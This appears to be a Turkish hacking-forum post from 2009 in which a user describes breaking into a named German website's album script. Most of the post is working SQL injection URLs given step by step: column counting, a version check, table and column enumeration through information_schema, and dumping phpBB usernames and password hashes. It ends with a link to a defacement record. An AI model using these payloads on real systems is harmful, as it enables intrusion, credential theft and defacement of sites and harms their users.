Trice- R00T
- Aktiflik :
Mesaj Sayısı : 49
Uzmanlık : Null
Ruh Hali : 
Kayıt tarihi : 02/07/09
tarafından Trice Cuma Tem. 24, 2009 5:27 am
- Kod:
Albüm açığı varmıi soradan öğrendim iyi ki sonradan öğrenmişim
ver 5 zaten adam bütün scriptlerin sql dosyalarını aynı db ye koymuş
istesem serverada girerdim ama boşver
ilk önce order by çektim 9 table
http://www.skifahrerklasse.de/nitro/albums.php?section=cats&action=show&CatId=14+order%20by%209
sonra versiyona baktım
http://www.skifahrerklasse.de/nitro/albums.php?section=cats&action=show&CatId=14+union+select+0,@@version,2,3,4,5,6,7,8
5
information schemadan tablo isimlerine baktım 200 civarında albüm tablosunu ararken birde ne göreyim phpbb_user diye bi tablo
http://www.skifahrerklasse.de/nitro/albums.php?section=cats&action=show&CatId=14+union+select+0,table_name,2,3,4,5,6,7,8+from+information_schema.tables%20limit%20217,1
sonra hemen kolonları çektim()
http://www.skifahrerklasse.de/nitro/albums.php?section=cats&action=show&CatId=14+union+select+0,column_name,2,3,4,5,6,7,8+from+information_schema.columns%20where%20table_name=0x7068706262325f7573657273
sora username ve passları çektim
http://www.skifahrerklasse.de/nitro/albums.php?section=cats&action=show&CatId=14+union+select+0,concat_ws(0x3a,user_id,username,user_password),2,3,4,5,6,7,8+from+phpbb_users
sonrası da öyle işte
DEFACE KAYDI
http://zone-h.org/mirror/id/9274517
Anasayfa
